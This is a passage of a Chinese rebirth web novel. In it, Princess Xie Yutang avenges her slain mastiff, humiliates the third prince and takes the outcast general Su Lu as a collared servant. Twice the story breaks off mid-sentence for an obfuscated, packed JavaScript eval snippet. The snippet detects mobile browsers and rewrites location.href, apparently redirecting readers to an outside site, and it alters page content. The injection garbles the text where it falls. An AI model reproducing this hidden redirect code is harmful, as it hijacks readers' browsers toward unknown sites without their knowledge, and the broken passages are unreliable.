《“项圈”套在清冷杀神脖子上》 1. 第 1 章 “好好的一条狗,就这么给人活活打死了。” “死就死了呗,公主给那三皇子吃得死死的,还能跟他计较什么?” “三皇子德义德善,这事真是他干的?” “还不是这狗先冲撞的三皇子,狗随主人,女儿没个女儿样,养在宫中也养不出一点德言容功的贵气!” “嘘!你小点声,被公主听到要杀头的!” 宫女们的絮絮低语声渐渐淡去,谢郁棠眉间轻蹙,睫毛颤了颤,缓缓睁开双眼。 入目是漫天的大雪,利刃一刀穿心的疼痛似乎还未散去,她抬手拨开衣襟,胸口起伏的肌肤细腻白净,心脏在胸膛中有力的跳动着。 谢郁棠知道,自己重生了。 太和十一年,谢父于倒马关之战中拼死守城,谢氏满门一百零七人,尽成忠烈,只留她一个五岁孤女,被先皇收为义女,封宁安公主。 可谢郁棠知道,谢家之所以会被灭门,除了北戎胡人,还因为里通外敌的叛贼泄露了父亲的行踪。前世的她将查清叛贼为父报仇的希望寄托在她最爱的男人——三皇子蔺檀身上。 谢郁棠殚精竭虑付出一切助他登基,可没想到,大权在握的新天子,自己倾心信任的夫君,却对彻查当年旧案百般推诿敷衍,她的复仇之路寸步难行。 而蔺檀更是在立了禁军统领郭守贞的嫡女为妃后,对她手中的权利愈发忌惮,终于,二人在礼部给事中的任免上再度起了争执,蔺檀一刀捅进她的胸口。 呵,一个从六品的官,要了皇后的命。 “小姐,这天寒地冻的,你就算仗着身体好也不能这般糟践自己啊。” 怀瑾抖开一件皮裘小袄裹在谢郁棠身上,见她胸口衣襟敞着,隐约还能看见里面贴身的织绣亵衣,更是大惊,正待再说什么,抬首瞥见谢郁棠的脸,却是愣在当下:“……小姐,你、你怎么流泪了?” 坐在廊下风雪中的谢郁棠,仰首闭上双目,热泪自眼角淌下,嘴角却莫名勾起上扬的弧度,她渐渐笑出声来,眼泪簌簌落下,在雪里砸出一个个小坑。 怀瑾吓了一跳,同握瑜对视一眼,还未及反应,被谢郁棠一把扑进怀里。 前世,怀瑾握瑜这两个她视为亲姐妹的婢女因护她而死。 她想求的求不到,想守的守不住,想杀的杀不了,她视作珍宝的被他人弃若敝履,她一颗真心被人碾进尘埃。 她怨,她恨,她不甘。 大概是上苍也觉得她死的憋屈,又给了她一次机会。 乌追死去这年,是太和二十四年,她及笄后三年。 一切都还来得及。 这一世,她会靠自己,查明真相,为家族复仇,站上权力之巅。 “乌追去得可惜,我们都知道你心里不好受。” “但乌追要是还在,也绝计不想看到公主这般伤心啊。” 怀瑾抱住她,握瑜轻抚她的背,只当她们小姐是因乌追之事难过。 乌追是一只纯种藏獒,前日里她与蔺檀起了争执,被推了一把,撞上石阶划破了手掌。乌追护主,当场冲上去从蔺檀小腿上撕下一块肉。 今日申时,握瑜哭着跑来,说乌追让蔺檀手底下的宫人给打死了。 怀里蓦的一空,怀瑾错愕抬头,只见谢郁棠擦干了眼泪,大步走到乌追新起的墓前,抽出腰间的鞭子,啪的一声,雪沫四溅,刚铺好的封层被抽了个四分五裂。 怀瑾握瑜和四下的宫人,全都惊呆了。 谢郁棠蹲跪下来,用手指扒开残雪,将盛着乌追的金丝楠木棺从地里起了出来。 几个脑袋灵光的宫人隐约猜到公主要干什么,吓得腿都打了颤。 “怀瑾、握瑜。”谢郁棠抚开棺面的雪泥,“找两个臂力大的小太监,给本宫把这棺材抬到跑马地去。” * 跑马地中央,孤零零跪着一道身影。 “让你牵马都不会,没在边关学过?” “一个小杂种,慕清王会教他什么?” “杂种”这个词仿佛触碰到什么,周围人逐渐笑得猥琐。 “我看啊,这小杂种就跟他妈一样,是个靠脸去卖的。不如你今晚好好伺候小爷,爷以后罩着你。” 露骨的言语让众人哄笑一片,谁都知道这个苏戮是慕清王苏成誉最不受待见的儿子,母亲是胡人舞姬,生了他没几年便去了。 苏戮因为这一半的胡人血统,在府里没少被欺负,只要不闹出人命,苏成誉都懒得管。 这个“小杂种”唯一的价值,大概就是被一脚踢来都城做质子。 都城世家大族的子弟们玩的花,苏戮这张脸又实在太过出挑,要不是有“慕清王府”几个字勉强护着,只怕这些人早就不是嘴上说说而已了。 “行了,你们也别太过火。” 蔺檀看够了好戏,慢悠悠走过来,温和地朝跪在地上的苏戮伸手:“他们开玩笑呢,小世子别往心里去。” 苏戮并未借那只手的力,自己站了起来。 “呸,给脸不要脸的东西。” “也就三殿下仁善,愿意把这么个东西收在身边做伴读。” 蔺檀被捧得很是受用,面上却不赞成的摇摇头,刚要再说点什么,眸光扫到一个身影,脸色一变。 谢郁棠一席红衣,身后两名小太监抬着什么东西,气势汹汹而来,身后还缀着一列劝慰的宫人。 那抹白雪中明亮刺眼的身影,竟在无端让蔺檀从心底生出一股不详的预感,战栗的酥麻从脊椎一点点爬上天灵盖。 待人近了,蔺檀才知道这不详是因何而来。 那两名小太监抬着的,是一口近人高的棺材。 砰的一声,所有人俱是一震。 沉重的金丝楠木棺被人落在地上,力道是稳的,但木棺委实太重,厚重地响了一声,扬起纷纷雪沫。 蔺檀没看见般换上亲昵的浅笑:“棠棠,你怎么……” “啪——” 一声清脆的巴掌直接把所有人都打蒙了。 蔺檀维持着偏过头去的姿态,有些反应不过来。 谢郁棠甩了甩手,要不是冻僵了这一巴掌还能更带劲! “棠棠你——” “别叫我棠棠,听着恶心。” 谢郁棠看向放在地上的墓棺,那棺竟没有盖面,再加上用料极贵,众人都忍不住勾头去看,看清之后,个个大惊失色,吓得脸都白了,甚至有人扭头干呕起来。 棺里是一只藏獒的尸体,那狗眼白上翻舌头外吐,身上棕色的皮毛满是血污,后脑壳处躺着黄白交杂的脑浆,竟是给人硬生生打碎了头骨。 而谢郁棠轻轻弯了弯唇。 俯身在狗毛上抚了一把,葱白的指尖上满是污脏的血迹,她长了张姝色明艳的脸,笑起来像三月骄阳,可此刻却叫所有人通体生寒。 “乌追说它一条狗太寂寞了,得找个畜生下去陪它。” 众人都给这惊世骇俗之语吓得失了言。 小福子大着胆子:“公主,您痛失爱犬心中悲恸我们可以理解,但您捧着一具畜生的尸体来我们这跑马场,又是何意?” “又是何意?”谢郁棠低低重复一遍,每一个咬字都极轻柔和缓,她猛地抬眼,眸光如利剑,将小福子死死钉在原地,声音宛如恶鬼低吟:“我这不是来给它找伴儿了吗?” 小福子两股战战,身子一软跪倒在地,身下一股腥臊之气,竟是吓尿了。 蔺檀皱眉站远了些。 谢郁棠轻轻“呀”了一声,看着小福子有几分惊讶:“你痛下杀手打死乌追心中惶恐我可以理解,但你一个阉人当着一众世家公子的面在跑马场公然小解,又是何意?” “公、公主饶命!” “饶命?”谢郁棠步步紧逼,“你打死乌追的时候,怎么没想着饶命?” 小福子被吓得三魂去了气魄,连滚带爬地去扯蔺檀衣袍:“三殿下!三殿下救我!” 蔺檀一甩衣袍,避开了小福子的触碰,又在雪地里蹭了蹭靴底,一句“滚远点”差点就脱口而出,他忍了好忍,面上还是温和的样子,语气却隐隐带了不耐:“棠棠,你这样是不是过分了?” 谢郁棠嗤笑:“你杀了我的狗不过分,我来讨个说法倒是过分了?” 蔺檀一噎:“此事我并不知情,且说我已向你道过歉——” 谢郁棠的指尖摁在了他的唇上。 蔺檀一怔,舌尖鼻下一股腥臭之气传来,顿时大惊,再也顾不上仪态,猛然挥开她的手,用衣袖拼命擦拭嘴唇。 她竟把畜生的尸血擦到他的唇上! “哎呀,不好意思啊,我捂你嘴的时候忘了手上还有乌追的血,不知者无罪,再说我也向你道过歉,你看——” “谢、郁、棠。”蔺檀忍无可忍,“你到底想做什么?” 谢郁棠褪了笑,面无表情地看他:“杀人偿命。” “那只是一个畜生。” “乌追是我爹送我的生辰之礼,也是他留给我最后的东西,它与我朝夕相伴,对我忠心无二,在我心里,这条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556966|171318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狗比你重要多了,如今却因护主被乱棍打死,于情于理于义哪点不如人?你说凶手该不该偿命?” 谢郁棠每多说一句,蔺檀的脸就难看一分,尤其那句“它比你重要多了”,竟当众直言他不如畜生! 蔺檀闭眼,深深吸了口气,缓和下语气:“本王会吩咐下去为此犬立碑超度,但畜生终究是畜生,哪有人命珍贵?你贵为当朝公主,当时刻谨记仁义礼智,宽厚待人。” 谢郁棠几乎要笑出声来。 一个一刀捅了发妻的人,在这儿跟他谈仁义礼智,谈宽厚待人? 谢郁棠抽出短刀,在众人的惊呼声中将刀刃架上了蔺檀的脖颈。 四周乌泱泱跪倒了一片,“公主息怒!”“公主万勿冲动!”之声不绝于耳。 谢郁棠笑道:“我可不是三殿下,没有满脑子的仁义礼智,待人也从不宽厚。谁要惹了我,我定锱铢必较,双倍奉还。” 蔺檀一动也不敢动。 那股战栗的感觉又攫住了他。 谢郁棠好像有什么地方不一样了,以往他说几句好话就能哄骗好的人,如今却如同换了个人一般。 而且,他知道谢郁棠不是在虚张声势,她是真的会杀了他! 蔺檀的感觉没错。 上一世的谢郁棠,趴在乌追的墓前哭了大半个月,却一句重话不敢对蔺檀说,生生给自己呕出了寒疾。 现在把刀架在他脖子上,谢郁棠觉得痛快极了。 她凑近蔺檀耳畔。轻声道: “本宫将你放在心尖上时,你才是个东西,不把你放在心尖上了,你什么都不是。” 蔺檀瞳孔骤缩。 “公主——” 小福子趴在地上,朝她爬来,指尖朝人群中一指,“是他,他才是杀了乌追的凶手!” 谢郁棠看清那道静静立着的清瘦身影,也不由诧异。 “是他,慕清王府庶子苏戮。”小福子斩钉截铁,“公主,乌追行动迅猛,奴才一个阉人哪来的这般力气?只有自小习武之人才能将之一棍击毙!” 反正那小杂种爹不疼娘不爱的,平日里谁都可以踩上几脚,他也从不辩解,这事推给他再合适不过了。 谢郁棠当然知道苏戮。 在边陲战场上杀了个七进七出从无败绩的小慕清王。 渊渟岳峙风光霁月的小慕清王。 他怎么会在这里? 男人静静走出人群,在离谢郁棠一丈远处撩袍跪下。 背脊挺拔,面色沉静:“戮以性命起誓,从未参与此事。” 谢郁棠当然知道他从未参与。 乌追是被谁打死的,拿什么打死的,打死的凶器在哪,前世的她全都查了个一清二楚。 这小福子就是主使。 谢郁棠垂眸去看雪地上跪着的清寂身影,他这衣着,似是蔺檀的伴读。 蔺檀那小子还能让苏戮做伴读? 谢郁棠回忆前世,说来羞愧,她当时一门心思扑在蔺檀身上,对旁人正眼都没瞧过一回。 对这位小慕清王最早的记忆也要追溯到他临危受命在漠北大败八万胡军精锐,凯旋而归的那日——谢郁棠站在蔺檀身侧,以太子妃的身份向他道贺。 谢郁棠见惯了穿铠甲骑战马的苏戮将军,也见惯了着常服束冠发如玉如墨的小慕清王,只是—— 这个静静跪在雪地里,清隽低沉的以性命起誓的苏戮,她却从未见过。 小福子即惊且怒,这小子平日里硬得很,向来任打任罚从不解释也从不顶嘴,怎么当着公主的面突然换了副软骨头?滑跪得如此丝滑,还想公主给他主持公道? 小福子咬咬牙,无论如何,今天必须得把这强安的罪名在他头上坐实,不然自己的小命怕是难保了。 “你这不要脸的小杂种,还敢当着公主的面狡辩?!” 小福子扬手就打,这一掌毫无保留,带着在谢郁棠和蔺檀那里受的气,却在距离苏戮脸颊毫厘之许被迫停了下来。 一柄短刀刀背,贴在他的掌心,如磐石般强硬又不容拒绝地挡住了他的巴掌。 利刃的寒光映出皑皑白雪。 谢郁棠那柄原本架在蔺檀脖颈上的短刀,换了地方。 她既已经下定决心,为家族复仇,争夺帝位,那这位杀神将军,绝对要死死握在手里才行。 随手一挥,小福子向后仰倒重又摔进雪里,她用脚尖挑起跪着的那人下颌,迫他抬头,恶劣地勾唇。 “我的狗死了,你来替它好不好?” 2. 第 2 章 谢郁棠让人做狗的话语出口,所有人都陷入了诡异的沉默。 虽说这苏小世子平日里的地位还不如乌追,但这么堂而皇之说出来的,宁安公主还是第一个。 蔺檀却陷入了沉思。 苏戮这个伴读话不多,用着也顺手,还能给他写政论经文应付学堂夫子,若真叫谢郁棠给带走,一时间还真不太好找人补空。 “放肆。”蔺檀于是摆出几分愠怒,“苏世子再怎么说也是慕清王府的人,岂容你这般糟践?” 谢郁棠轻轻“哟”了一声:“这时候你想起来他是慕清王府的人啦?那他刚刚差点被你的奴才扇巴掌,就不叫糟践了?” “你!” 蔺檀气得快要绷不住一张人皮。 这宫墙里的都知道,最受荣宠的宁安公主为了蔺檀敛尽一身傲骨,对他百依百顺,这也是他最为得意的,可今日谢郁棠竟为了一条狗在众人面前下他面子。 谢郁棠权当没看见他越发难看的脸色,收了刀,绕着一缕发丝:“今日我是必定要一个说法的。要么,他死,要么,这人我带走。” 被点到名字的小福子吓得浑身哆嗦,苏戮依旧垂眸跪在那里,脸上没有任何表情。 蔺檀咬牙,他压根就没得选! 今日小福子要是死在这里,以后还有谁敢跟他这样的主子?但就这么放了苏戮,他又不甘心。 蔺檀沉思半晌:“这样吧,我们且问问苏世子——是跟你,还是跟我,让世子自己选。” 这话说得十分讨巧,又符合他温厚宽任的人设。 众人听到这里,都觉得没了趣味,谁不知道三皇子贤名在外,傻子才会选谢郁棠那个疯女人。 看热闹的拍拍身上的雪就准备散了,谁知一道清冽的男声自风雪中稳稳递来。 如古井投石,马踏平川,将众人都定在了原地。 他说的是——“公主。” 谢郁棠也愣了一下,都做好了抢人的准备,没想到他竟选了自己。 她玩味地看着垂眸敛目的男人:“到我这里是要做狗的,你可想好了?” 苏戮并未答话,只是默默起身,走到那只盛了乌追尸身的楠木棺前。 有宫人想阻止,被谢郁棠抬手拦下。 少年修长的手指从棺材里拎起一根染了血的金链——那是谢郁棠专为乌追打造的。 一阵窸窣脆响,链子被他亲手绕在了自己玉色的脖颈上,锁住。 然后,少年在谢郁棠面前直直跪下,双手掌心相托的,是金链的另一头。 风雪瞿静,四下无声。 所有人都被这一幕震惊了,然后,就是疯狂偷瞄三皇子的脸色。 蔺檀面上撑着笑,藏在宽大袖袍中的手早已紧握成拳,因过度用力而颤抖。 自己的伴读当众跪在一个女人面前举着铁链说要做狗,打的是他三皇子蔺檀的脸! 蔺檀用尽全身的演技,深吸一口气,走到苏戮面前,俯身温声道:“苏世子,你不要怕,有本王为你撑腰,你不想做的事没人能够勉强你。” “对呀,苏世子,一个是做人,一个是当狗,你可想清楚了?” “三殿下一向温和宽仁,你可不要想不开!” “到时候后悔可来不及!” 苏戮的面上依旧没什么表情,只静静垂眸,任由谢郁棠探究的目光细细打量着他。 直到众人声音渐弱,方才淡淡开口:“一条狗,公主将它看得比三殿下还重,是为有情;狗死了,公主大费周章为它讨回公道,是为有义;再者,这天下谁人不知,宁安公主独得圣眷,是这皇城中一等一的贵人。” “在下一届俗人,身份卑贱却想攀高枝,能得有情有义有富贵的宁安公主垂怜,自然会死死抓住机会。” 少年沉郁静致的声音在风雪中稳稳送出,说的是谄媚话,却自有一股清贵之气。 “宁为富贵狗,不做贫贱人。” “三殿下,您的好意,戮怕是要辜负了。” 偌大的跑马地陷入寂静。 似乎连风都止了一瞬。 众人看看躺在地上一裤子臊尿的小福子,再看看稳稳跪在谢郁棠面前双手盛着项上金链的苏戮。 一时间竟觉得他说得很有道理。 谢郁棠蓦地勾唇一笑:“好一个宁做富贵狗,不做贫贱人。” 葱白的指尖在那金链上轻轻一点,而后慢慢地,将链子紧紧握在手中。 蔺檀虽不受宠,但好歹也是天家血脉,平日里被底下的奴才捧惯了,哪受过这等奇耻大辱,但囿于平日里温和宽仁的形象,又不能即刻当着众人的面发作。 主子不好发作,狗腿子却能。 “呸!低贱的小杂种!蔺檀殿下好心相劝,你也敢这般不识好歹!” 谢郁棠循声看去,果然,是礼部尚书谭守臻的儿子,谭岑广。 此人前世就是蔺檀所有狗腿里面跳的最欢的那个,蔺檀即位之后,他小人得势,仗着自己有几分身手,欺压百姓强抢民女,还逼死了一个六品文官的嫡女,其恶名即使是身处深宫的自己也有所耳闻。 谭岑广这么一闹,立马有七七八八的小狗腿起声附和,一群人站在跑马地出口,堵住谢郁棠的路。 都是些巴结不上太子,转而聚在蔺檀身边沆瀣一气的小人。 蔺檀的脸色总算好看了一点,抖了抖宽大的袖袍,重新摆好姿态,等着谢郁棠跟他服软道歉。 乌追的事确实是他做的过了点,不过没关系,先晾她几日,待改日寻个由头说几句好话就行了。 女人向来耳根子软,禁不住哄,到时候还不是得乖乖回到自己身边任他拿捏。 蔺檀算盘打得噼啪响,就等着谢郁棠求他。 可谢郁棠一眼都没往他那边看。 她只是俯下身,把链子和项圈之间的环扣取了下来,像抚摸乌追那般轻轻拍了拍苏戮的脸:“知道一条合格的狗,是什么样的吗?” 她的语气很轻,很柔。 像落在大地了无声息的雪。 苏戮低垂的浓睫颤了一下。 下一瞬,少年起身,连剑鞘一起解下了腰间的配剑,握在手中。 局势瞬息逆转。 谭岑广一群人你看看我,我看看你,都从对方眼中看到了迟疑和退缩。 他们原本只想在蔺檀面前表现一下,宁安公主服个软,三殿下面上过得去,这就皆大欢喜了,可谁知,宁安公主她直接,掀桌了。 “吱呀——” 生锈的铁门刮擦雪地的声音突兀传来,众人回头,恰好看到谢郁棠将跑马地的铁闸门落了锁。 少女晃晃了硕大的铁锁,似是要确认它到底结不结实,得到满意的结果后拍拍手指上粘的雪,朝众人灿烂一笑。 谭岑广心中不合时宜地冒出一个词: 关门放狗。 苏戮静静立在雪地中,明明和一刻钟前那个跪在地上任由他们打骂欺凌的少年没有任何不同,但,又好像完全不同了。 系在他脖颈上的锁链,像是某种符咒,揭开了恶鬼的封印。 他第一次,出了手。 剑未出鞘,凛冽的杀意却肆虐到无可止息。 谭岑广越战越惊,仿佛自己面对的,不是一个人,而是地狱中爬出的恶鬼,死人堆里淬出的杀神——一招一式没有一个多余的动作,只要出手,便是死穴。 这种气息,他只在一个人身上隐约感到过。 那是父亲手下一的一个老兵,那老兵经历过大兖建国以来最惨烈的一场战役,整整七万大军,活下来的不足百人,人们把他从死人堆里挖出来时,他握刀的手成了半副白骨,刀刃卡进指骨缝,怎么都拔不出。 耳边一声惨叫,最后一个同伙被击中后心,惨叫着栽进雪地里。 他还没来得及反应,只觉手腕一痛,双膝被人从后方极快地扫过,他在雪地里摔了个狗啃泥,手中的刀应声滚落。 谭岑广这才蓦地惊醒,他们不知何时已拔了刀,是照着杀人的打法打的! 对方再怎么不受宠也是慕清王府的小世子,若真在这里把人给杀了,圣上日后追责,他们一个都跑不了,还好—— 少年的剑始终未曾出鞘,以碾压式的优势秋风扫落叶般结束了这场闹剧,甚至很有分寸地没有重伤一人,只是—— 雪地里横七竖八一片狼藉,有撅着腚哀嚎的,有他这样狗啃泥的,还有裤衩子破了个大洞露出里面大红底裤的。 伤害性不大,侮辱性极强。 行动果决,实力莫测,进退有据,一个眼神间将上意领会得明明白白。 谢郁棠看着重又跪在自己面前俯首垂眸的驯顺少年,满意地将手中的金链扣回他脖颈的项圈上,抖了抖手腕,愉悦道:“回去了。” * 公主府众人见谢郁棠牵回来一个大活人,都吓得不轻,在前殿等着的怀瑾更是大惊失色,差点把怀里的狐皮大氅抖落:“小姐,你这是……” 府上有不少人是随谢郁棠从老谢王府来的,主仆自小一起长大,情分极深,称呼亦随了旧的,仍称谢郁棠“小姐”。 谢郁棠任由握瑜给自己披上大氅,接过下人奉上的热茶,吩咐道:“怀瑾,去太医院把刘御医请来。” 又对怀瑾道:“之前乌追的食谱还放在你那儿吧,照那个来,他吃的不能比乌追差。” “他”是谁,不言而喻。 怀瑾看着静静立在一角的少年,面露难色:“小姐,这恐怕……于礼不合。” “怎么不合了?”谢郁棠在红木雕花椅上坐下,将手里的茶盏搁在桌上,“怎么说也是本宫的狗,吃得好些不合理吗?” 谢郁棠故意“礼”“理”不分,怀瑾不知道小姐这又是唱哪一出,但她自小做了决定的事就没人能改变,只能叹了口气,不再言语。 刘御医是谢郁棠相熟的,谢郁棠幼时遭灭门之变,心思气郁,再加上刚入宫时水土不服,三五不时便会发热昏迷,全仗这位刘御医精心调理。 刘御医手指搭在苏戮腕脉上,沉吟片刻:“能否请公主先行回避?” 谢郁棠挑眉。 刘御医点到即止:“公主,苏世子脉象并无大碍,只是有些气血虚浮,日后好生修养,再辅以食疗调理即可,只是世子的外伤……” 苏戮脖颈处系着链子的地方,隐约可见一道新鲜的鞭痕。 这鞭痕谢郁棠在跑马地便看见了,她去时谭岑广们正围着这少年打骂欺凌,一看便是惯犯,那时谢郁棠便料想到他身上的旧伤不会少,于是回来第一件事便是请了刘御医来看。 刘御医想必也是思及此处,才提出要苏戮除去上衣,好方便检查。 “那就脱吧,本宫也在这儿看着。” 谢郁棠此话一出,四下的宫人又是一惊。 怀瑾劝道:“小姐,虽说是帮苏世子看伤,但毕竟是要……要宽衣的,您还未选驸马,如今天色也晚了,这事要是被有心人添油加醋传了开去,于您怕是声名有损。” 谢郁棠手指点了点下巴:“也对。” 怀瑾以为她听进了劝,刚想松一口气,只听谢郁棠道:“握瑜,你吩咐下去,今日验伤之事,谁敢背后乱嚼舌根,风言风语辱了苏世子名声,本宫剪了他舌头。” 握瑜肃然领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556967|171318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命,即刻便去办了。 怀瑾“……”了片刻,正待再劝,只听一阵铮然锁链轻响,苏戮低垂眼眸,骨节分明的手指已经扯开了衣襟领口。 清峻、精悍。 这是苏戮的身体给人的第一印象。 他的皮肤很白,像细腻的白瓷落了薄雪,似乎只要大力一些,便会在上面留下泛红的印记。 但这具身体又充满了张力,肌肉很薄的绷在骨骼上,新伤盖着旧伤,有鞭子抽的,刀刃划的,板子打的…… 但这些伤痕不但没有让这具身体变得狰狞,反而添了几分矛盾的脆弱,让观者不禁生起进一步凌虐的心思。 离得近的侍女慌乱移开目光,红着脸看向别处。 谢郁棠毫不避讳地盯着他的伤处:“用玉肌膏可以吗?” 玉肌膏是谢家祖传奇药,谢老将军在外征战,身上常年带着的就是这个。 刘御医稍稍一惊,这玉肌膏所需草药珍贵异常,配制工序亦极繁复,言一声价值千金亦不为过,就连谢老将军当年都舍不得多用。 “那自是极好,玉肌膏可止血生肌,还有镇痛之效,没有比这更好的药了。只是……”刘御医微微一顿,试探道,“下官没记错的话,公主府上的玉肌膏怕是不太够了,若要再配,这银钱恐怕……” 谢郁棠不甚在意地摆手:“银钱走公主府私账,今日完事你便随怀瑾去提。” 又对握瑜道,“库房里还有半瓶玉肌膏,你现在便去取来。” 刘御医知道公主是对这苏世子上了心,手下也越发谨慎起来。 苏戮胸前那一道鞭伤是被谭岑广拿马鞭抽的,鞭上都是倒刺,一鞭下去免不了皮肉开裂,经过方才一番打斗,伤口又裂开几分,此时正往外渗血。 清创谢郁棠自觉不够专业,便在旁边看着,等刘御医用煮过的热水将伤口全都清理完全,才摆了摆手让人全部退下。 众人都已麻了,一言不发地退了个干净。 谢郁棠在一旁的水盆里净了手,这才拿着药瓶坐到苏戮身侧。 用手指挑了一些,涂到他锁骨下的伤处。 苏戮在众人面前一直默然无言,任由谢郁棠指挥,此时屋中只剩了他二人,方才想要开口。 “你是不是想说——自己只是贱命一条,不值得公主如此费心?” 谢郁棠手上动作不停,连语气都模仿了个十成十。 苏戮垂眸,看样子是说中了。 “你是本宫的,本宫想给你什么就给你什么,就是金山银山你也得受着。” 苏戮第一次听到这般惊世之语,怔了一下,不由低头闷笑出声。 谢郁棠问:“痛吗?” “还好。” 她不言语,挑了药膏故意往伤处一按,苏戮抽了口气,乖乖道:“痛。” 谢郁棠满意地勾了唇,手下立刻放轻了力道,低头往伤处轻柔地吹气。 苏戮只觉得一股战栗从心底深处生出,一路从脊背麻到天灵盖,僵着身子不敢动弹。 胸口被吹了气的小半片皮肤像被烫了烙铁。 他极悔自己说了“痛”,恨不得她下手再重些,彻骨的痛楚也好过现在这般境地。 更可怕的是,谢郁棠俯身时有几缕发丝垂下,发尾若有似无地蹭着他放在腿上的手背。 幽兰香温柔地包裹了他,身上的伤口疼痛再散去,但随之漫上来的,是让人心间打颤的酥麻。 少年绷成了一张满弓,耳根却慢慢红了。 太近了,他甚至能看到她低垂的根根分明的睫毛。 腰上突然被人拍了一下。 “你绷这么紧做什么?放松。” 苏戮:“……” 谢郁棠大概猜得到苏戮此时的状态。 他耳根薄,动不动就红这回事,是她前世就发现了的。 起先是她赞他凯旋而归,而后是在宴会上敬了他酒,再然后,是她于人声鼎沸中唤他苏爱卿,甚或是,她不经意看去的一个眼神。 她曾当着他的面对蔺檀笑道,“该给苏爱卿指门婚事了。”这位大兖最年轻英俊的少年将军一直孑然一身,连对着她这样的妇人也会脸红。 而现在,她要的就是他脸红。 谢郁棠知道自己不是好人,她自私,算计,连为数不多的善意也带着目的。 这一世她要自立为帝,军权一定要牢牢握在手中才行,而苏戮,就是她志在必得的第一把刀。 她有心逗弄,指尖借着涂药的便利,在锁骨的凹陷处滑过。 “主人。”苏戮虚握了一下她的手腕,又很快松开,虽然什么都没说,但打着颤儿的尾音已然是求饶了。 这是他第一次称呼她,不是“公主”,也不是“小姐”,而是——“主人”。 谢郁棠挑眉。 “既已认了主,公主便是戮的主人了。”苏戮垂眸解释,耳朵尖已完全浸红,“您若不喜欢这个称呼……” “喜欢。”谢郁棠道,“我很喜欢这个称呼,还有你说这两个字时的声音,和样子。” 她往后多说一个字,他的头便越发低垂几分,实在受不住了,鹿一般的眸子飞快看了她一眼,复又迅速垂下,看得谢郁棠心弦一动。 罢了,不逗他了。 她收了手,敛声道:“本宫最看重的,是忠诚,以后无论什么话,你都可但说无妨。” 苏戮闻言,低垂的眼睫颤了颤:“是。” 谢郁棠很满意他的驯顺:“明日学堂上什么课?” “讲学和骑射。” 谢郁棠涂完最后一处伤,慢条斯理地将瓷瓶封好:“我同你一道去。” 3. 第 3 章 宋学士是今日值讲的翰林院五品文官,老人家混了一辈子没什么野心就等着安稳退休,可是今日他照例拿着经书站上讲台,一双浑浊老眼看清台下坐着的人时,只觉两眼一黑,恨不得直接下课。 宁安公主谢郁棠端端正正坐于案前,她身着对襟窄袖水纹衫,如瀑的青丝像男子那般高束于顶,用一枚样式古朴的金簪固定,整个人显出一股子寻常宫闱女子少有的大气明艳。 而她身侧坐着的,是才从三皇子蔺檀那边收来的侍从,慕清王府世子,苏戮。 昨日跑马地的动静委实太大,就算是宋老学儒亦有所耳闻。 “敢问公主,您这是?” “来听学啊。” “棠棠,这里不是你一届女流该来的地方。” 蔺檀适时出声,语气中将威严同哄劝调和得恰到好处,“你同本王置气便罢了,平白惊扰学堂秩序,到底是不妥的。你先乖乖回府,待本王下了学自会——” “三殿下,本宫都说了,是来听学的。” 谢郁棠给他这一番说辞恶心到了,但现在还不是同蔺檀彻底摊牌的时候,她拼命压抑着才没当即翻个白眼出来,“您一届男流,手握圣贤之书,不思国事经学,反倒满心儿女私事家长里短,咱们到底是谁在惊扰学堂秩序啊?” 蔺檀:“……” “公主,在下斗胆多句嘴。” 说话的是户部给事中的嫡子钱季,他昨晚刚补上苏戮的空给蔺檀做伴读,这本是件好事,但钱季的经文策论写得明显不如前任,在蔺檀那里没落着什么好脸色,便想着抓住这个机会在三殿下面前表现一番。 “不是说您不能听学,只是这经筵日讲晦涩艰深,一次还要上足两个时辰,公主千金之躯,怕是会觉得烦闷无聊。” 呵,这是拐弯抹角说她听不懂了。 谢郁棠翻了翻桌上摊开的《孟子》:“这是今日要研读的经文?” 钱季:“正是。” “本宫为了今日听学,昨晚特地做了些功课,经文中有些地方不甚理解,可否向钱公子请教一二?” “公主请讲。” 谢郁棠葱白的指尖掀开书页,“舜发于畎亩之中,傅说举于版筑之间……这意思是说举荐人才不应有门庭出身之见,可对?” “正是。” “傅说、管仲曾是犯人,胶鬲做过鱼贩,百里奚曾是秦穆公夫人的陪嫁奴隶,他们尚且能够被天降大任,扬其志于朝堂之上,那为何本宫只是今日来听讲学便要受到诸多阻挠?” “难道只因本宫身为一介女流,便连犯人、鱼贩、奴隶也不如吗?” 女子的声音轻柔和缓,却问得学堂众人哑口无言。 “君为臣纲,夫为妻纲,身为女子便该贤良淑德,以夫为天。”钱季掷地有声,“这是命定之道,若违此道,天理难容!” 谢郁棠像是听到了什么笑话,笑得肩膀都打了颤,好不容易止了笑,她缓缓扫过学堂众人,明亮的眉眼流转间姝丽生辉:“若这是命,那本宫便逆天改命。若天理难容,本宫便反了这天。” 语气是极淡的,好像只是说园里的花长得不好,剪了便是。 但众人听在耳中,却如平地一声惊雷,无一不觉头脑轰鸣,既惊且惧。 表情最难看的便是蔺檀,自她将乌追的棺材抬到跑马地之日起,他就越发觉得谢郁棠像是变了一个人。 方才在学堂见到她,蔺檀有一刻是窃喜的,以为她是抹不下脸面,便想出此种办法同自己求和,谁知她进来后竟一眼没看自己! 小福子看着自家主子脸色,心中已明白了大半,悄悄附在他耳边:“殿下,您看那儿。” 